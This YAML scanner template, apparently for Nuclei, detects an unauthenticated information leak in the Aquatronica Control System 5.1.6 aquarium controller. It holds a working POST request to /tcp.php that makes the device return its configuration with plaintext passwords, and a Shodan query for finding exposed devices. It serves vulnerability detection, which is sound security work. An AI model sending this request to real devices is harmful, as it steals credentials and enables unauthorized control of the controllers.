39 lines
1.5 KiB
YAML
39 lines
1.5 KiB
YAML
id: aquatronica-info-leak
|
|
|
|
info:
|
|
name: Aquatronica Control System 5.1.6 - Information Disclosure
|
|
author: securityforeveryone
|
|
severity: high
|
|
description: |
|
|
The tcp.php endpoint on the Aquatronica controller is exposed to unauthenticated attackers over the network. This vulnerability allows remote attackers to send a POST request which can reveal sensitive configuration information, including plaintext passwords. This can lead to unauthorized access and control over the aquarium controller, compromising its security and potentially allowing attackers to manipulate its settings.
|
|
reference:
|
|
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5824.php
|
|
- https://www.exploit-db.com/exploits/52028
|
|
- https://www.zeroscience.mk/codes/aqua.txt
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
shodan-query: html:"aquatronica"
|
|
tags: exploitdb,aquatronica,info-leak
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /tcp.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
function_id=tcp_xml_request&command=WS_GET_NETWORK_CFG
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "WEB_PASSWORD"
|
|
- "pwd=""
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100aadc273e2296921d5b626e81c36425d5e2e06d2ab2bb28dd474b64c2f4fe02150220487e00677d55c5024c3a496b423945c214d9edc0c360d3a0614a8b227e0e17cf:922c64590222798bb761d5b6d8e72950 |